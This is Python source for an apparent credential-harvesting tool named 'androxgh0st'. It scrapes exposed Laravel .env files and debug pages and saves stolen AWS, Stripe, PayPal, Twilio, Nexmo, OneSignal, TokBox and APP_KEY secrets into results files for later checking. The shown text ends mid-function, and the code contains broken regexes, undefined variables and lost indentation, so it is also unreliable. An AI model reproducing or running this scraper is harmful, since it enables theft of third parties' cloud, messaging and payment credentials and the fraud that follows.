# _*_ coding: utf-8 _*_
import requests, os, sys
from re import findall as reg
requests.packages.urllib3.disable_warnings()
from threading import *
from threading import Thread
from configparser import ConfigParser
from queue import Queue
os.system('color')
try:
os.mkdir('Results')
except:
pass
try:
os.mkdir('Results/forchecker')
except:
pass
try:
os.mkdir('Results/logsites')
except:
pass
list_region = '''us-east-1
us-east-2
us-west-1
us-west-2
af-south-1
ap-east-1
ap-south-1
ap-northeast-1
ap-northeast-2
ap-northeast-3
ap-southeast-1
ap-southeast-2
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-west-3
eu-south-1
eu-north-1
me-south-1
sa-east-1'''
pid_restore = '.yukin0shita_session'
class Worker(Thread):
def __init__(self, tasks):
Thread.__init__(self)
self.tasks = tasks
self.daemon = True
self.start()
def run(self):
while True:
func, args, kargs = self.tasks.get()
try: func(*args, **kargs)
except Exception as e: print(e)
self.tasks.task_done()
class ThreadPool:
def __init__(self, num_threads):
self.tasks = Queue(num_threads)
for _ in range(num_threads): Worker(self.tasks)
def add_task(self, func, *args, **kargs):
self.tasks.put((func, args, kargs))
def wait_completion(self):
self.tasks.join()
class androxgh0st:
def payment_api(self, text, url):
if "PAYPAL_" in text:
save = open('Results/paypal_sandbox.txt','a')
save.write(url+'\n')
save.close()
return True
elif "STRIPE_KEY" in text:
if "STRIPE_KEY=" in text:
method = '/.env'
try:
stripe_key = reg('\nSTRIPE_KEY=(.*?)\n', text)[0]
except:
stripe_key = ''
try:
stripe_secret = reg('\nSTRIPE_SECRET={.*?)\n', text)[0]
except:
stripe_secret = ''
elif "
STRIPE_SECRET | " in text:
method = 'debug'
try:
stripe_key = reg(r'STRIPE_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
stripe_key = ''
try:
stripe_secret = reg(r'| STRIPE_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
stripe_secret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nSTRIPE_KEY: '+str(stripe_key)+'\nSTRIPE_SECRET: '+str(stripe_secret)
remover = str(build).replace('\r', '')
save = open('Results/STRIPE.txt', 'a')
save.write(remover+'\n\n')
save.close()
saveurl = open('Results/logsites/stripesite.txt','a')
removerurl = str(url).replace('\r', '')
saveurl.write(removerurl+'\n')
saveurl.close()
else:
return False
def get_aws_region(self, text):
reg = False
for region in list_region.splitlines():
if str(region) in text:
return region
break
def get_aws_data(self, text, url):
try:
if "AWS_ACCESS_KEY_ID" in text:
if "AWS_ACCESS_KEY_ID=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| AWS_ACCESS_KEY_ID | " in text:
method = 'debug'
try:
aws_key = reg(r"AWS_ACCESS_KEY_ID\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| AWS_SECRET_ACCESS_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "AWS_KEY" in text:
if "AWS_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_KEY=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nAWS_SECRET=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
try:
aws_buc = reg("\nAWS_BUCKET=(.*?)\n", text)[0]
except:
aws_buc = ''
elif "| AWS_KEY | " in text:
method = 'debug'
try:
aws_key = reg(r"AWS_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| AWS_SECRET\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
try:
aws_buc = reg(r"| AWS_BUCKET\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_buc = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '+str(aws_buc)
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "AWS_SNS_KEY" in text:
if "AWS_SNS_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_SNS_KEY=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nAWS_SNS_SECRET=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
sms_from = reg("\nSMS_FROM=(.*?)\n", text)[0]
except:
sms_from = ''
try:
sms_driver = reg("\nSMS_DRIVER=(.*?)\n", text)[0]
except:
sms_deiver = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| AWS_SNS_KEY | " in text:
method = 'debug'
try:
aws_key = reg(r"AWS_SNS_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| AWS_SNS_SECRET\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
sms_from = reg(r"| SMS_FROM=\/td>\s+ | (.*?)<\/span>", text)[0]
except:
sms_from = ''
try:
sms_driver = reg(r"| SMS_DRIVER\/td>\s+ | (.*?)<\/span>", text)[0]
except:
sms_driver = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS SNS KEY: '+str(aws_key)+'\nAWS SNS KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: \nSMS FROM: '+str(sms_from)+'\nSMS DRIVER: '+str(sms_driver)
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_sns_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "AWS_S3_KEY" in text:
if "AWS_S3_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_S3_KEY=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nAWS_S3_SECRET=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| AWS_S3_KEY | " in text:
method = 'debug'
try:
aws_key = reg(r"AWS_S3_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| AWS_S3_SECRET\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "AWS_SES_KEY" in text:
if "AWS_SES_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_SES_KEY=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nAWS_SES_SECRET=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| AWS_SES_KEY | " in text:
method = 'debug'
try:
aws_key = reg(r"AWS_SES_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| AWS_SES_SECRET\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "SES_KEY" in text:
if "SES_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nSES_KEY=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nSES_SECRET=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| SES_KEY | " in text:
method = 'debug'
try:
aws_key = reg(r"SES_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| SES_SECRET\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "AWS_ACCESS_KEY_ID_2" in str(text):
if "AWS_ACCESS_KEY_ID_2=" in str(text):
method = '/.env'
try:
aws_key = reg("\nAWS_ACCESS_KEY_ID_2=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nAWS_SECRET_ACCESS_KEY_2=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| AWS_ACCESS_KEY_ID_2 | " in text:
method = 'debug'
try:
aws_key = reg(r"AWS_ACCESS_KEY_ID_2\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| AWS_SECRET_ACCESS_KEY_2\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
elif "WAS_ACCESS_KEY_ID" in str(text):
if "WAS_ACCESS_KEY_ID=" in str(text):
method = '/.env'
try:
aws_key = reg("\nWAS_ACCESS_KEY_ID=(.*?)\n", text)[0]
except:
aws_key = ''
try:
aws_sec = reg("\nWAS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
elif "| WAS_ACCESS_KEY_ID | " in text:
method = 'debug'
try:
aws_key = reg(r"WAS_ACCESS_KEY_ID\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_key = ''
try:
aws_sec = reg(r"| WAS_SECRET_ACCESS_KEY\/td>\s+ | (.*?)<\/span>", text)[0]
except:
aws_sec = ''
try:
asu = androxgh0st().get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = ''
except:
aws_reg = ''
if aws_reg == "":
aws_reg = "aws_unknown_region--"
if aws_key == "" and aws_sec == "":
return False
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
remover = str(build).replace('\r', '')
save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/aws_access_key_secret.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
build_forchecker = str(aws_key)+"|"+str(aws_sec)+"|"+str(aws_reg)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/aws_secretkey.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
else:
if "AKIA" in str(text):
save = open('Results/AKIA.txt','a')
save.write(str(url)+'\n')
save.close()
return False
except:
return False
def get_appkey(self, text, url):
try:
if "APP_KEY =" in text or "APP_KEY=":
method = '/.env'
try:
appkey = reg('\nAPP_KEY=(.*?)\n', text)[0]
except:
try:
appkey = appkey = reg('\nAPP_KEY = (.*?)\n', text)[0]
except:
appkey = False
elif "| APP_KEY | " in text:
method = 'debug'
appkey = reg(r'APP_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
if appkey:
build = str(url) + '|' + appkey + '|' + str(method)
remover = str(build).replace('\r', '')
save = open('Results/APP_KEY.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
else:
return False
except:
return False
def get_twillio(self, text, url):
try:
if "TWILIO" in text:
if "TWILIO_ACCOUNT_SID=" in text:
method = '/.env'
try:
acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0]
except:
acc_sid = ''
try:
acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0]
except:
acc_key = ''
try:
sec = reg('\nTWILIO_API_SECRET=(.*?)\n', text)[0]
except:
sec = ''
try:
chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n', text)[0]
except:
chatid = ''
try:
phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0]
except:
phone = ''
try:
auhtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n', text)[0]
except:
auhtoken = ''
elif '| TWILIO_ACCOUNT_SID | ' in text:
method = 'debug'
try:
acc_sid = reg(r'TWILIO_ACCOUNT_SID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
acc_sid = ''
try:
acc_key = reg(r'| TWILIO_API_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
acc_key = ''
try:
sec = reg(r'| TWILIO_API_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
sec = ''
try:
chatid = reg(r'| TWILIO_CHAT_SERVICE_SID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
chatid = ''
try:
phone = reg(r'| TWILIO_NUMBER\/td>\s+ | (.*?)<\/span>', text)[0]
except:
phone = ''
try:
auhtoken = reg(r'| TWILIO_AUTH_TOKEN\/td>\s+ | (.*?)<\/span>', text)[0]
except:
auhtoken = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nTWILIO_ACCOUNT_SID: '+str(acc_sid)+'\nTWILIO_AUTH_TOKEN: '+str(auhtoken)+'\nTWILIO_API_KEY: '+str(acc_key)+'\nTWILIO_API_SECRET: '+str(sec)+'\nTWILIO_CHAT_SERVICE_SID: '+str(chatid)+'\nTWILIO_NUMBER: '+str(phone)
remover = str(build).replace('\r', '')
save = open('Results/TWILIO.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(acc_sid)+"|"+str(auhtoken)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/twilio.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
elif "SMS_API_SENDER_ID" in text:
if "SMS_API_SENDER_ID=" in text:
method = '/.env'
try:
acc_sid = reg('\nSMS_API_SENDER_ID=(.*?)\n', text)[0]
except:
acc_sid = ''
try:
authtoken = reg('\nSMS_API_TOKEN=(.*?)\n', text)[0]
except:
authtoken = ''
try:
phone = reg('\nSMS_API_FROM=(.*?)\n', text)[0]
except:
phone = ''
elif "| SMS_API_SENDER_ID | " in text:
method = 'debug'
try:
acc_sid = reg(r'SMS_API_SENDER_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
acc_sid = ''
try:
authtoken = reg(r'| SMS_API_TOKEN\/td>\s+ | (.*?)<\/span>', text)[0]
except:
authtoken = ''
try:
phone = reg(r'| SMS_API_FROM\/td>\s+ | (.*?)<\/span>', text)[0]
except:
phone = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nSMS_API_SENDER_ID: '+str(acc_sid)+'\nSMS_API_TOKEN: '+str(auhtoken)+'\nSMS_API_FROM: '+str(phone)
remover = str(build).replace('\r', '')
save = open('Results/TWILIO.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(acc_sid)+"|"+str(auhtoken)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/twilio.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
elif "TWILIO_SID" in text:
if "TWILIO_SID=" in text:
method = '/.env'
try:
acc_sid = reg('\nTWILIO_SID=(.*?)\n', text)[0]
except:
acc_sid = ''
try:
authtoken = reg('\nTWILIO_TOKEN=(.*?)\n', text)[0]
except:
authtoken = ''
try:
phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0]
except:
phone = ''
elif "| TWILIO_SID | " in text:
method = 'debug'
try:
acc_sid = reg(r'TWILIO_SID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
acc_sid = ''
try:
authtoken = reg(r'| TWILIO_TOKEN\/td>\s+ | (.*?)<\/span>', text)[0]
except:
authtoken = ''
try:
phone = reg(r'| TWILIO_NUMBER\/td>\s+ | (.*?)<\/span>', text)[0]
except:
phone = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nSTWILIO_SID: '+str(acc_sid)+'\nTWILIO_TOKEN: '+str(auhtoken)+'\nTWILIO_NUMBER: '+str(phone)
remover = str(build).replace('\r', '')
save = open('Results/TWILIO.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(acc_sid)+"|"+str(auhtoken)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/twilio.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
elif "=AC" in text or "= AC" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_TWILIO.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
else:
return False
except:
return False
def get_manual(self, text, url):
try:
if "PLIVO" in text or "plivo" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_PLIVO.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "CLICKSEND" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_CLICKSEND.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "MESSAGEBIRD" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_CLICKSEND.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "SMS_" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_SMS.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "VONAGE" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_VONAGE.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "NEXMO" in text or "nexmo" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_NEXMO.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif 'characters">AKIA' in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_AWSKEY.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif 'characters">AC' in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_TWILIO.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "= AC" in text or "=AC" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_TWILIO_ENV.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "= AKIA" in text or "=AKIA" in text:
build = str(url)+' | '+str(method)
remover = str(build).replace('\r', '')
save = open('Results/MANUAL_AWSKEY_ENV.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
else:
return False
except:
return False
def get_nexmo(self, text, url):
try:
if "NEXMO" in text:
if "NEXMO_KEY=" in text:
method = '/.env'
try:
nexmo_key = reg('\nNEXMO_KEY=(.*?)\n', text)[0]
except:
nexmo_key = ''
try:
nexmo_secret = reg('\nNEXMO_SECRET=(.*?)\n', text)[0]
except:
nexmo_secret = ''
try:
phone = reg('\nNEXMO_NUMBER=(.*?)\n', text)[0]
except:
phone = ''
elif '| NEXMO_KEY | ' in text:
method = 'debug'
try:
nexmo_key = reg(r'NEXMO_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
nexmo_key = ''
try:
nexmo_secret = reg(r'| NEXMO_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
nexmo_secret = ''
try:
phone = reg(r'| EXMO_NUMBER\/td>\s+ | (.*?)<\/span>', text)[0]
except:
phone = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nNEXMO_KEY: '+str(nexmo_key)+'\nNEXMO_SECRET: '+str(nexmo_secret)+'\nNEXMO_NUMBER: '+str(phone)
remover = str(build).replace('\r', '')
save = open('Results/NEXMO.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(nexmo_key)+"|"+str(nexmo_secret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/nexmo.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
elif "EXOTEL_API_KEY" in text:
if "EXOTEL_API_KEY=" in text:
method = '/.env'
try:
exotel_api = reg('\nEXOTEL_API_KEY=(.*?)\n', text)[0]
except:
exotel_api = ''
try:
exotel_token = reg('\nEXOTEL_API_TOKEN=(.*?)\n', text)[0]
except:
exotel_token = ''
try:
exotel_sid = reg('\nEXOTEL_API_SID=(.*?)\n', text)[0]
except:
exotel_sid = ''
elif '| EXOTEL_API_KEY | ' in text:
method = 'debug'
try:
exotel_api = reg(r'EXOTEL_API_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
exotel_api = ''
try:
exotel_token = reg(r'| EXOTEL_API_TOKEN\/td>\s+ | (.*?)<\/span>', text)[0]
except:
exotel_token = ''
try:
exotel_sid = reg(r'| EXOTEL_API_SID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
exotel_sid = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nEXOTEL_API_KEY: '+str(exotel_api)+'\nEXOTEL_API_TOKEN: '+str(exotel_token)+'\nEXOTEL_API_SID: '+str(exotel_sid)
remover = str(build).replace('\r', '')
save = open('Results/EXOTEL.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "ONESIGNAL_APP_ID" in text:
if "ONESIGNAL_APP_ID=" in text:
method = '/.env'
try:
onesignal_id = reg('\nONESIGNAL_APP_ID=(.*?)\n', text)[0]
except:
onesignal_id = ''
try:
onesignal_token = reg('\nONESIGNAL_REST_API_KEY=(.*?)\n', text)[0]
except:
onesignal_id = ''
try:
onesignal_auth = reg('\nONESIGNAL_USER_AUTH_KEY=(.*?)\n', text)[0]
except:
onesignal_auth = ''
elif '| ONESIGNAL_APP_ID | ' in text:
method = 'debug'
try:
onesignal_id = reg(r'ONESIGNAL_APP_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
onesignal_id = ''
try:
onesignal_token = reg(r'| ONESIGNAL_REST_API_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
onesignal_token = ''
try:
onesignal_auth = reg(r'| ONESIGNAL_USER_AUTH_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
onesignal_auth = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nONESIGNAL_APP_ID: '+str(onesignal_id)+'\nONESIGNAL_REST_API_KEY: '+str(onesignal_token)+'\nONESIGNAL_USER_AUTH_KEY: '+str(onesignal_auth)
remover = str(build).replace('\r', '')
save = open('Results/ONESIGNAL.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "TOKBOX_KEY_DEV" in text:
if "TOKBOX_KEY_DEV=" in text:
method = '/.env'
try:
tokbox_key = reg('\nTOKBOX_KEY_DEV=(.*?)\n', text)[0]
except:
tokbox_key = ''
try:
tokbox_secret = reg('\nTOKBOX_SECRET_DEV=(.*?)\n', text)[0]
except:
tokbox_secret = ''
elif '| TOKBOX_KEY_DEV | ' in text:
method = 'debug'
try:
tokbox_key = reg(r'TOKBOX_KEY_DEV\/td>\s+ | (.*?)<\/span>', text)[0]
except:
tokbox_key = ''
try:
tokbox_secret = reg(r'| TOKBOX_SECRET_DEV\/td>\s+ | (.*?)<\/span>', text)[0]
except:
tokbox_secret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nTOKBOX_KEY_DEV: '+str(tokbox_key)+'\nTOKBOX_SECRET_DEV: '+str(tokbox_secret)
remover = str(build).replace('\r', '')
save = open('Results/TOKBOX.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "TOKBOX_KEY" in text:
if "TOKBOX_KEY=" in text:
method = '/.env'
try:
tokbox_key = reg('\nTOKBOX_KEY=(.*?)\n', text)[0]
except:
tokbox_key = ''
try:
tokbox_secret = reg('\nTOKBOX_SECRET=(.*?)\n', text)[0]
except:
tokbox_secret = ''
elif '| TOKBOX_KEY | ' in text:
method = 'debug'
try:
